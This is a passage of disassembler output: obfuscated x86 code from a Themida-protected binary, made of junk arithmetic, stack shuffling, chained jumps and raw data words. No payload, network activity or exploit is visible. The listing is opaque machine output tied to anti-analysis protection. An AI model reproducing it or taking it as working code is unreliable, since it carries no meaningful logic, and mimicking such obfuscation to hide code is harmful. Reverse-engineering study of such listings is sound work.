		pop	edi
		or	edi, 2E1D1164h
		or	edi, 57172AEDh
		dec	edi
		push	ebp
		mov	ebp, 649C2616h
		sub	edi, ebp
		jmp	loc_55ABD5
; ---------------------------------------------------------------------------
		dd 9D9EEF81h, 0FA314847h, 0FF3164E9h, 7E3C0FFh,	8145C380h
		dd 2ECh, 136AE900h, 0EDC1FFFFh,	0C3BE5605h, 55153A1Ch
		dd 0A064B0BDh, 0B1C58146h, 0E94A6E4Ah, 0FFFFE8BFh
; ---------------------------------------------------------------------------

loc_569934:				; CODE XREF: Themida_:0056042Aj
		mov	ecx, 416D7A48h
		jmp	loc_563B68
; ---------------------------------------------------------------------------
		dw 7568h
		dd 8900002Bh, 3168241Ch, 8900007Dh, 8E92424h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569953:				; CODE XREF: Themida_:0056A5BFj
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	7817h
		mov	[esp], ecx
		mov	ecx, 4
		push	ebp
		mov	ebp, 59363A9Eh
		and	ebp, 675D1EABh
		shl	ebp, 7
		jmp	loc_56633C
; ---------------------------------------------------------------------------
		db 31h
		dd 24348BF3h, 8304C483h, 48904ECh, 8FF0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56999E:				; CODE XREF: Themida_:0055B05Ej
		pop	edx
		push	ebp
		mov	ebp, 39D67C88h
		jmp	loc_56662D
; ---------------------------------------------------------------------------

loc_5699AA:				; CODE XREF: Themida_:0055CCB6j
		pop	esi
		add	eax, ebx
		sub	eax, 299A248Ch
		add	eax, 275E09BDh
		push	edi
		mov	edi, 35C87CE7h
		not	edi
		jmp	loc_5612A0
; ---------------------------------------------------------------------------

loc_5699C4:				; CODE XREF: Themida_:0055DF0Aj
		sub	ecx, 72D724A8h
		pop	edx
		add	esi, 624C7DC7h
		add	esi, ecx
		sub	esi, 624C7DC7h
		pop	ecx
		jmp	loc_5691C6
; ---------------------------------------------------------------------------

loc_5699DF:				; CODE XREF: Themida_:0055C29Aj
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_55AD7C
; ---------------------------------------------------------------------------
aHcPgs8		db 'hc',9,'Gé%8',0
		align 4

loc_5699F4:				; CODE XREF: Themida_:0055AEB6j
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	ebp, 7EE21A42h
		jmp	loc_5678E9
; ---------------------------------------------------------------------------

loc_569A06:				; CODE XREF: Themida_:0056410Fj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		mov	ah, 31h
		dec	ah
		sub	ah, 0A9h
		jmp	loc_56ABE8
; ---------------------------------------------------------------------------

loc_569A1D:				; CODE XREF: Themida_:005624B8j
		add	ebx, 0A51846EDh
		jmp	loc_568846
; ---------------------------------------------------------------------------
		dd 4C481h, 0C330000h, 240C3124h, 5C240C33h, 0E9240489h
		dd 0FFFEEE4Ch
; ---------------------------------------------------------------------------

loc_569A40:				; CODE XREF: Themida_:00565BAAj
		pop	ecx
		add	esi, edx
		push	dword ptr [esp]
		jmp	loc_561B6E
; ---------------------------------------------------------------------------
		db 2Ch
		dd 241C8B0Eh, 4C483h, 83CD04D8h, 0C8904ECh, 0D043B124h
		dd 0B7B450E9h, 2C58E128h, 4C8003Eh, 8B66593Eh, 5E68241Ch
		dd 0E900000Eh, 0FFFFBDA2h
; ---------------------------------------------------------------------------

loc_569A7C:				; CODE XREF: Themida_:0056075Dj
		mov	edi, 51E561C2h
		inc	edi
		sub	edi, 0E3C5E56Dh
		add	ebx, edi
		jmp	loc_55C50C
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 8BCA0100h, 0C483240Ch,	4C28104h, 52000000h, 42474FFh
		dd 0FFEE8EE9h, 5BDD29FFh, 0FF47F9E9h, 2E2C1FFh,	8102EAC1h
		dd 7F09AFC2h, 25D205FAh, 980505FDh, 16CFA07h, 7982DD0h
		dd 0D22D6CFAh, 5A05FD25h, 0FF221FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569ADD:				; CODE XREF: Themida_:0055BDA0j
		pop	edx
		jmp	loc_56A456
; ---------------------------------------------------------------------------
		db 52h
		dd 5EAE9h, 8C78100h, 0E9137026h, 0FFFF0DFCh, 0FEED93E9h
		dd 4C483FFh, 0FF872C88h, 0C8B2434h, 4C48324h, 714068h
		dd 241C8900h, 5AE95B54h, 0B300001Fh, 0F4B151C3h, 0D07FE180h
		dd 3BE980E9h, 0C059CB00h, 0EBC005EBh, 3F0E903h,	48B0000h
		dd 4C48124h, 88000000h,	148B5908h, 0E6895624h, 4C681h
		dd 0FEE90000h, 68000014h, 525Bh, 0E9242C89h, 0FFFFD714h
		dd 0E901C183h, 0FFFFDBC4h
; ---------------------------------------------------------------------------

loc_569B64:				; CODE XREF: Themida_:0055C21Cj
		mov	ebp, 16503DECh
		not	ebp
		sub	ebp, 0E9AFC20Fh
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 41B05DF1h
		jmp	loc_55955D
; ---------------------------------------------------------------------------

loc_569B89:				; CODE XREF: Themida_:005628A1j
		mov	[esp], edi
		mov	edi, 61A96CFEh
		jmp	loc_559A4D
; ---------------------------------------------------------------------------
		dw 0C2FEh
		dd 1DE9DAF6h, 59FFFF27h, 0E95BD888h, 0FFFF7873h, 0EC835650h
		dd 56ECE904h, 0EC81FFFFh, 4, 89242C89h,	4C581E5h, 81000000h
		dd 4C5h, 242C8700h, 0C913E95Ch,	0ED81FFFFh, 5B834183h
		dd 4492C581h, 0CE93E69h, 89FFFFE0h, 277168E1h, 34890000h
		dd 4EC8324h, 0FFD6D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569BF5:				; CODE XREF: Themida_:0055A6B2j
		and	ch, 26h
		add	ch, 0E1h
		add	ch, 64h
		or	bh, ch
		jmp	loc_56217C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSp_0		db '$é/',0
		align 2

loc_569C0E:				; CODE XREF: Themida_:0056984Cj
		add	ecx, esi
		add	ecx, 398969A1h
		add	ecx, 776812A0h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CCC4
; ---------------------------------------------------------------------------

loc_569C27:				; CODE XREF: Themida_:005623DDj
		push	eax
		push	edx
		push	28E3699Eh
		pop	edx
		inc	edx
		shr	edx, 6
		jmp	loc_56B4D6
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD35966h, 45E99C24h, 29FFFEECh, 8DE958C5h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569C4F:				; CODE XREF: Themida_:00564FC7j
		pop	esp
		xor	ebx, ecx
		pop	ecx
		xor	ebp, ebx
		pop	ebx
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_568DF2
; ---------------------------------------------------------------------------
		dd 240C8B66h, 555F5457h, 71414ABDh, 4ED7E93Eh, 0F531FFFFh
		dd 40B6E9h, 0C8B6600h, 4EC8124h, 89000000h, 78E92434h
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569C8B:				; CODE XREF: Themida_:005592F4j
		mov	[esp], esi
		push	ebp
		mov	ebp, 17927385h
		mov	esi, 0D807EDFAh
		xor	esi, ebp
		pop	ebp
		jmp	loc_55AE9B
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 7Ch
		dd 812EE0D6h, 445BB2EBh, 81F32952h, 445BB2C3h, 0EC815E52h
		dd 4, 0FF5052E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569CC1:				; CODE XREF: Themida_:005621E6j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 24AD76FBh
		add	eax, 46B57EBEh
		and	eax, 72363CFh
		sub	eax, 3226185h
		jmp	loc_563CF1
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 0B218E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569CEA:				; CODE XREF: Themida_:0056003Dj
		shr	ebx, 1
		neg	ebx
		shr	ebx, 7
		push	esi
		mov	esi, 76DD050Ch
		push	ebx
		mov	ebx, 0CFF59B5h
		push	ebp
		mov	ebp, 31C664D0h
		jmp	loc_56D7E1
; ---------------------------------------------------------------------------

loc_569D08:				; CODE XREF: Themida_:0056129Bj
		add	esi, eax
		jmp	loc_5643AC
; ---------------------------------------------------------------------------
		db 25h
		dd 34FA19B9h, 0FFE5EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569D19:				; CODE XREF: Themida_:005625DFj
		mov	esi, ebx
		pop	ebx
		or	esi, 4AD60EA8h
		shl	esi, 3
		jmp	loc_55F148
; ---------------------------------------------------------------------------

loc_569D2A:				; CODE XREF: Themida_:005682A5j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 5BAC7214h
		sub	esp, 4
		jmp	loc_56084A
; ---------------------------------------------------------------------------

loc_569D3E:				; CODE XREF: Themida_:005628CCj
		add	esp, 4
		push	ebx
		jmp	loc_55DDDC
; ---------------------------------------------------------------------------

loc_569D4A:				; CODE XREF: Themida_:00568420j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		movzx	ecx, ax
		push	40D3h
		mov	[esp], ebp
		mov	ebp, esp
		push	6A46h
		mov	[esp], ebx
		push	edi
		mov	edi, 172C323Ah
		mov	ebx, 172C323Eh
		jmp	loc_569805
; ---------------------------------------------------------------------------
		dd 0BFh, 87CF2900h, 27DE9F9h, 0E1C1FFFFh, 81494903h, 311CBBE1h
		dd 16E9811Ch, 8114110Ch, 0C93C52C6h, 81CE014Eh,	0C93C52EEh
		dd 2434FF4Eh, 592434FFh, 0FF36BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569DAD:				; CODE XREF: Themida_:0056A0CEj
		push	edx
		mov	edx, 6107788Bh
		push	70F5h
		jmp	loc_55E47D
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 87000000h, 248B242Ch, 24148B24h, 4C481h, 83570000h
		dd 48904ECh, 3844B824h,	4C3501AFh, 487D1D6Bh, 6E21010Dh
		dd 0DD0F72Fh, 5A4935FAh, 90C25635h, 58C789BFh, 8904EC83h
		dd 47E92414h, 53FFFFADh, 2BBh, 5BDF0100h, 0E9243C87h, 0FFFF6A50h
		dd 35CDE95Ah, 0BB530000h, 2EB30DE0h, 585BDA01h,	31241433h
		dd 0D9E92414h, 8100002Ah, 4C7h,	4C78300h, 0E9243C87h, 1AA7h
		dd 24048F59h, 0C4B6E95Ch, 74FFFFFFh, 0BE90424h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569E53:				; CODE XREF: Themida_:00564080j
		push	ebx
		push	edi
		jmp	loc_568CD9
; ---------------------------------------------------------------------------
		dw 0D529h
		dd 0FFF9F0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569E61:				; CODE XREF: Themida_:0056BAF7j
		xor	eax, 36BB2E9Ah
		jmp	loc_55DF38
; ---------------------------------------------------------------------------
		db 30h
		dd 19E92414h, 4AFFFEEAh, 0FBD5C281h, 0D301EFFAh, 4B9515Ah
		dd 29000000h, 99F4E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569E8A:				; CODE XREF: Themida_:00558AE8j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_559EAA
; ---------------------------------------------------------------------------

loc_569E96:				; CODE XREF: Themida_:00568AAEj
		mov	[esp], edi
		push	5BEBh
		mov	[esp], eax
		push	4C02h
		mov	[esp], esi
		mov	esi, 14443F19h
		and	esi, 2C9420CBh
		jmp	loc_5685BF
; ---------------------------------------------------------------------------

loc_569EB9:				; CODE XREF: Themida_:00567CAEj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dd 0E95FFA31h, 7F8h, 24048F5Ch,	24248Bh, 0E99C2404h, 0FFFEE9ACh
		dd 4BAh, 35AA0500h, 0D0294408h,	835AA2Dh, 4875A44h, 64DEE924h
		dd 166FFFFh, 0EF8166F7h, 8B6620C9h, 0C4832434h,	0C3816602h
		dd 1662B6Ah, 0ACD0E9FBh, 0AE05FFFFh, 1678603h, 0AA69E9F0h
		dd 0EBC0FFFFh, 69C38007h, 2CE9DA30h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569F2F:				; CODE XREF: Themida_:0055D120j
		pop	eax
		jmp	loc_5649CA
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 0D4h
		dd 28A2F680h, 0F8005AF0h, 1C8B2604h, 0EF13E924h, 1C33FFFEh
		dd 241C3124h, 5C241C33h, 31240433h, 4332404h, 24248B24h
		dd 0FF2434FFh, 56582434h, 0BE95E54h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569F6F:				; CODE XREF: Themida_:00563CFBj
		mov	edx, eax
		jmp	loc_560057
; ---------------------------------------------------------------------------
		dw 11E9h
		dd 81FFFEE9h, 53B49EEh,	81D6010Ch, 53B49C6h, 1EC6810Ch
		dd 5A0E0966h, 0FFEDA8E9h, 34FF5EFFh, 101DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569F9E:				; CODE XREF: Themida_:0055B612j
		pop	esp
		push	4CDFh
		mov	[esp], ebx
		push	esi
		jmp	loc_561995
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0D0h
		dd 5A2434FFh, 12A868h, 242C8900h, 24E9E589h, 5EFFFFEEh
		dd 0E7E9F101h
		db 0F4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_569FCB:				; CODE XREF: Themida_:0055E61Ej
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 25C6619Ch
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 50D07DFCh
		sub	esp, 4
		jmp	loc_5630E0
; ---------------------------------------------------------------------------

loc_569FF5:				; CODE XREF: Themida_:0055A4ACj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 1633257Bh
		mov	ebx, 37792314h
		jmp	loc_5659AA
; ---------------------------------------------------------------------------

loc_56A00C:				; CODE XREF: Themida_:00567C79j
		push	eax
		jmp	loc_56C217
; ---------------------------------------------------------------------------
		dw 0CD21h
		dd 81240C8Bh, 4C4h, 81EDD100h, 0EE29C5C5h, 3E5C14Dh, 95D8F795h
		dd 0B0BCF581h, 0EF81A70Eh, 306216C9h, 0C781EF01h, 306216C9h
		dd 0CDBE565Dh, 8149230Dh, 0D56BB0C6h, 0C3EE8118h, 4E12A815h
		dd 63BDF681h, 0F7294F50h, 243C875Eh, 0FF4C47E9h, 6FA6BAFFh
		dd 0D529F9AFh, 0EE89565Ah, 8B5EF789h, 0C483242Ch, 49786804h
		dd 1C890000h, 7EE95724h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A087:				; CODE XREF: Themida_:005619F9j
		sub	ebx, 144F4519h
		sub	ebx, 197B7AB3h
		mov	esi, [esp]
		jmp	loc_55FD40
; ---------------------------------------------------------------------------
		db 2Dh
		dd 31DB6F76h, 0F26A632Dh, 5D0016Eh, 6EF26A63h, 0FF73ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A0B1:				; CODE XREF: Themida_:0056CE92j
		push	ebx
		mov	bh, 50h
		jmp	loc_5620C4
; ---------------------------------------------------------------------------

loc_56A0B9:				; CODE XREF: Themida_:0055F3BCj
		xchg	ebp, [esp]
		jmp	loc_55B946
; ---------------------------------------------------------------------------

loc_56A0C1:				; CODE XREF: Themida_:00561B9Cj
		add	ecx, 0FFFFFFFFh
		neg	ecx
		push	624Fh
		mov	[esp], ebx
		jmp	loc_569DAD
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E9F130DFh, 0FFFF0DA1h, 0E9241489h, 0FFFFD6B9h
; ---------------------------------------------------------------------------

loc_56A0E4:				; CODE XREF: Themida_:005662ADj
		mov	[esp], ebp
		push	10h
		mov	ebp, [esp]
		jmp	loc_558C05
; ---------------------------------------------------------------------------

loc_56A0F4:				; CODE XREF: Themida_:00559152j
		add	eax, 4
		add	eax, 4
		jmp	loc_563AE3
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 0D8EA815Ah, 1FBC9DDh, 4055AD0h, 87000000h, 0FF5C2404h
		dd 0E76EE930h, 69E9FFFEh
		db 0E7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56A123:				; CODE XREF: Themida_:0055D5B1j
		pop	ebp
		neg	ecx
		and	ecx, 52446FCEh
		xor	ecx, 40400C84h
		mov	ebx, ecx
		pop	ecx
		sub	ebp, 269D070Dh
		add	ebp, ebx
		push	edi
		mov	edi, 269D070Dh
		add	ebp, 4A527EBh
		add	ebp, edi
		sub	ebp, 4A527EBh
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		push	esi
		mov	esi, 7EA42915h
		shl	esi, 6
		jmp	loc_568C01
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0F6h
		dd 1E349ECh, 0BD555EF1h, 4, 367BE9h, 3D0BD00h, 0DDF716A3h
		dd 1DFAED81h, 0E9455B53h, 0FFFF101Fh
; ---------------------------------------------------------------------------

loc_56A190:				; CODE XREF: Themida_:00565553j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_560B30
; ---------------------------------------------------------------------------
		db 1
		dd 0C0F4E9C5h, 0C89FFFFh, 73A4B924h, 0E9811D2Eh, 197229F5h
		dd 0FF3D7AE9h, 80A0B2FFh, 0E28092EAh, 0E9DAF69Ah, 0FFFFB3D1h
		dd 50243C8Bh, 405E089h,	52000000h, 0FFFB09E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A1D5:				; CODE XREF: Themida_:0056A9AAj
		add	ebp, 41BC08C4h
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55E6C3
; ---------------------------------------------------------------------------

loc_56A1EB:				; CODE XREF: Themida_:0055D3E6j
		mov	esi, 539B0C58h
		xor	edi, esi
		jmp	loc_55890D
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 5224248Bh, 32E9E289h, 66FFFF48h
		dd 0E9241C31h, 0FFFEE678h, 4247C01h, 0FF26EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A21D:				; CODE XREF: Themida_:005649D8j
		mov	ebp, esp
		push	eax
		mov	eax, 17583690h
		jmp	loc_55D73D
; ---------------------------------------------------------------------------

loc_56A22A:				; CODE XREF: Themida_:0056450Aj
		add	ebp, eax
		add	ebp, 6077588Ah
		push	esi
		mov	esi, 0D1C0034h
		add	ebp, 3ACC1EB7h
		sub	ebp, esi
		jmp	loc_561F3B
; ---------------------------------------------------------------------------

loc_56A245:				; CODE XREF: Themida_:0056D3FAj
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55E0BA
; ---------------------------------------------------------------------------
		db 58h
		dd 5C242C87h, 7ED1BD55h, 0F5816016h, 778400B7h,	815DEA29h
		dd 8B3FA8EAh, 0BF28E904h, 30ACFFFFh, 6F5C68D8h,	0C890000h
		dd 6699B524h, 66586568h, 0E9241489h, 26BFh, 48E932B1h
		dd 0BEFFFFF8h, 0
		dd 73E9F189h, 55FFFFC4h, 0F0DBA52h, 0BA52601Ah,	78CC3941h
		dd 0E95AD589h, 0FFFFE906h, 8103EAC1h, 0CB76DACAh, 16F2816Ah
		dd 52B96E9h, 4106C24h, 11E9D001h, 89000034h, 67B3241Ch
		dd 0E98AF380h, 3932h
; ---------------------------------------------------------------------------

loc_56A2E4:				; CODE XREF: Themida_:0056DD6Aj
		push	5EDC4869h
		mov	ebx, [esp]
		add	esp, 4
		push	10CEh
		mov	[esp], ecx
		mov	ecx, 0A123B79Bh
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_568062
; ---------------------------------------------------------------------------

loc_56A311:				; CODE XREF: Themida_:00566109j
		push	1F62397Fh
		jmp	loc_55AC57
; ---------------------------------------------------------------------------
		db 51h
		dd 97A4DB9h, 0BF574119h, 6C7D6C2Ch, 0FFC437E9h,	3F581FFh
		dd 81D8C240h, 680224EFh, 9423E976h, 0C33FFFFh, 24248B24h
		dd 240CFF66h, 7853E99Ch, 2C81FFFFh, 0BF712424h,	0B74CE93Ch
		dd 965DFFFFh, 2414F756h, 9640965Eh, 0F031D6F7h,	41E9C631h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A36F:				; CODE XREF: Themida_:00562F83j
		sub	esi, eax
		pop	eax
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56C13C
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0FD2D04C4h, 1310668h, 2CE953F8h, 1FFFF34h
		dd 67FCE9D8h, 8168FFFFh, 89000071h, 0BFE9241Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56A3AB:				; CODE XREF: Themida_:0056B529j
		sub	ebp, 0C2A3B711h
		mov	ecx, ebp
		pop	ebp
		inc	ecx
		not	ecx
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	ecx, 4D762A93h
		add	ecx, ebp
		jmp	loc_560D97
; ---------------------------------------------------------------------------

loc_56A3CA:				; CODE XREF: Themida_:0055C507j
		xor	[esp], esi
		jmp	loc_5650EF
; ---------------------------------------------------------------------------
		dw 0E94Dh
		dd 0FFFFD00Ch
; ---------------------------------------------------------------------------

loc_56A3D8:				; CODE XREF: Themida_:00563A22j
		add	edx, ebx
		add	edx, 5A3532BCh
		sub	edx, 6CA7AE4h
		mov	ebx, [esp]
		jmp	loc_568026
; ---------------------------------------------------------------------------

loc_56A3EE:				; CODE XREF: Themida_:00565855j
		add	esp, 4
		jmp	loc_565D5F
; ---------------------------------------------------------------------------

loc_56A3F9:				; CODE XREF: Themida_:0056452Cj
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 418772D6h
		shl	ecx, 5
		xor	ecx, 30EE5AC4h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		rep movsd
		add	esp, [edx+38h]
		push	2B5Ch
		jmp	loc_565750
; ---------------------------------------------------------------------------
		dd 0C465E959h, 2DADFFFFh, 7FC81E40h, 0BA52D801h, 7FC81E40h
		dd 4EE0BA52h, 71E92535h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A44B:				; CODE XREF: Themida_:0055E369j
		xchg	eax, ecx
		push	65B7h
		jmp	loc_56CD27
; ---------------------------------------------------------------------------

loc_56A456:				; CODE XREF: Themida_:00569ADEj
		push	ebp
		jmp	loc_566D3B
; ---------------------------------------------------------------------------
		dd 0BA52D829h, 54466B5Bh, 0FFFFC281h, 0EC83FFFFh, 321FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56A472:				; CODE XREF: Themida_:00564D7Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	cl, 17h
		mov	bh, cl
		pop	ecx
		shl	bh, 3
		jmp	loc_55FF05
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0A76BE924h, 3C89FFFFh, 14BF6624h, 66576659h,	74FF6655h
		dd 5D660224h, 24048F66h, 0FFA451E9h, 3DE952FFh,	8BFFFF7Ah
		dd 5DE9242Ch
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56A4C3:				; CODE XREF: Themida_:00569058j
		add	eax, esi
		sub	eax, 43C761ECh
		jmp	loc_563E4E
; ---------------------------------------------------------------------------
		db 87h
		dd 6CE92414h, 0E9FFFF23h, 0FFFEE3B0h, 2C92E958h, 835CFFFFh
		dd 3C8702C7h, 24248B24h, 9C240430h, 0FEE397E9h,	240487FFh
		dd 2434FF5Ch, 4C48359h,	0BE3CD02Dh, 0DC32D6Dh, 500507E4h
		dd 0E92F8A3Ch, 0FFFF3828h, 4C581h, 0C5830000h, 242C3304h
		dd 33242C31h, 51E9242Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56A52B:				; CODE XREF: Themida_:005618A6j
		neg	ebp
		neg	ebp
		jmp	loc_565FCD
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	4BD55h,	0E8010000h, 2404875Dh, 0FEFA43E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A54D:				; CODE XREF: Themida_:0056963Cj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_560240
; ---------------------------------------------------------------------------

loc_56A568:				; CODE XREF: Themida_:00561C12j
		push	44808704h
		pop	ebx
		add	edx, ebx
		pop	ebx
		add	edi, 3C6152D6h
		add	edi, edx
		sub	edi, 3C6152D6h
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	ebp
		mov	ebp, 23172858h
		dec	ebp
		not	ebp
		shr	ebp, 4
		inc	ebp
		jmp	loc_56911D
; ---------------------------------------------------------------------------

loc_56A598:				; CODE XREF: Themida_:00558C40j
		mov	bh, ah
		jmp	loc_55D845
; ---------------------------------------------------------------------------

loc_56A59F:				; CODE XREF: Themida_:0056AD39j
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55BF87
; ---------------------------------------------------------------------------
aIH		db '‰<$hÇ!',0
		align 4
		dd 0E9242489h, 0FFFF97B7h
; ---------------------------------------------------------------------------

loc_56A5BC:				; CODE XREF: Themida_:0055CE1Cj
		push	dword ptr [esp]
		jmp	loc_569953
; ---------------------------------------------------------------------------
		dd 12E9E189h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56A5CB:				; CODE XREF: Themida_:00560CB2j
		push	edx
		push	22EB1C46h
		pop	edx
		push	ebp
		mov	ebp, 3D660626h
		and	edx, ebp
		pop	ebp
		sub	edx, 0F59FEDE4h
		mov	ebp, edx
		pop	edx
		sub	eax, 52852B87h
		sub	eax, ebp
		add	eax, 52852B87h
		pop	ebp
		sub	esi, 4DDC2EA2h
		jmp	loc_565996
; ---------------------------------------------------------------------------

loc_56A5FC:				; CODE XREF: Themida_:0055EB2Bj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dd 5C240C87h, 750F68h, 241C8900h, 67B568h, 24348900h, 0FF1159E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A621:				; CODE XREF: Themida_:0055F83Fj
		sub	edx, 122C4602h
		push	esi
		jmp	loc_56D04F
; ---------------------------------------------------------------------------

loc_56A62D:				; CODE XREF: Themida_:00562D51j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 46D84D83h
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56C1B7
; ---------------------------------------------------------------------------
		db 0BEh, 2, 0
		dd 0C7810000h, 4D9D1FE8h, 0FF2AE1E9h, 0F7EF81FFh, 145FFCDh
		dd 243C8BFEh, 5104C483h, 0ED2150B9h, 0D809E92Dh, 8B54FFFFh
		dd 0C483241Ch, 27C46804h, 3FE90000h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A68B:				; CODE XREF: Themida_:0056744Ej
		mov	al, cl
		pop	ecx
		sub	al, 0D1h
		jmp	loc_56800A
; ---------------------------------------------------------------------------
		db 88h,	0D1h, 5Ah
		dd 8B66C830h, 8956240Ch, 80E957E6h, 68FFFFECh, 6FFh, 0E9243C89h
		dd 0FFFF0031h
; ---------------------------------------------------------------------------

loc_56A6B4:				; CODE XREF: Themida_:0055BD7Dj
		shl	edi, 4
		xchg	ecx, edi
		xchg	edx, ecx
		jmp	loc_56B3F1
; ---------------------------------------------------------------------------
		dd 0E9C73058h, 0FFFF1480h, 148BD589h, 0D302E924h, 0B8BAFFFFh
		dd 17DFE57h, 0EB815AD3h, 244C00ABh, 0C381D301h,	244C00ABh
		dd 0FF6929E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A6ED:				; CODE XREF: Themida_:0055A245j
		add	edx, edi
		jmp	loc_5627B6
; ---------------------------------------------------------------------------
		dd 0BC49AF2Dh, 68E80103h, 1AA7h, 0FFFA9DE9h, 245C29FFh
		dd 24448108h, 0A8441608h, 241C8B6Eh, 4C481h, 44810000h
		dd 314B0424h, 6C011C9Eh, 6C810424h, 314B0424h, 0EC831C9Eh
		dd 241C8904h, 0FFC360E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A739:				; CODE XREF: Themida_:0056188Bj
		push	785Ch
		jmp	loc_55F572
; ---------------------------------------------------------------------------
aRLAi		db 'R¶l³,€ë*',0
		dd 2AC380F3h, 8324148Bh, 0B65204C4h, 0FFC6807Eh, 0FEF6E4E9h
		dd 240433FFh, 33240431h, 45C2404h, 225B6879h, 0EDE90000h
		dd 6800001Ch, 3910h, 0E9241C89h, 0FFFFE185h
; ---------------------------------------------------------------------------

loc_56A784:				; CODE XREF: Themida_:005637FBj
		mov	ebp, 1F495301h
		inc	ebp
		shr	ebp, 1
		xor	ebp, 5EA1AFC7h
		add	ecx, ebp
		pop	ebp
		jmp	loc_5691A3
; ---------------------------------------------------------------------------
		dw 0F201h
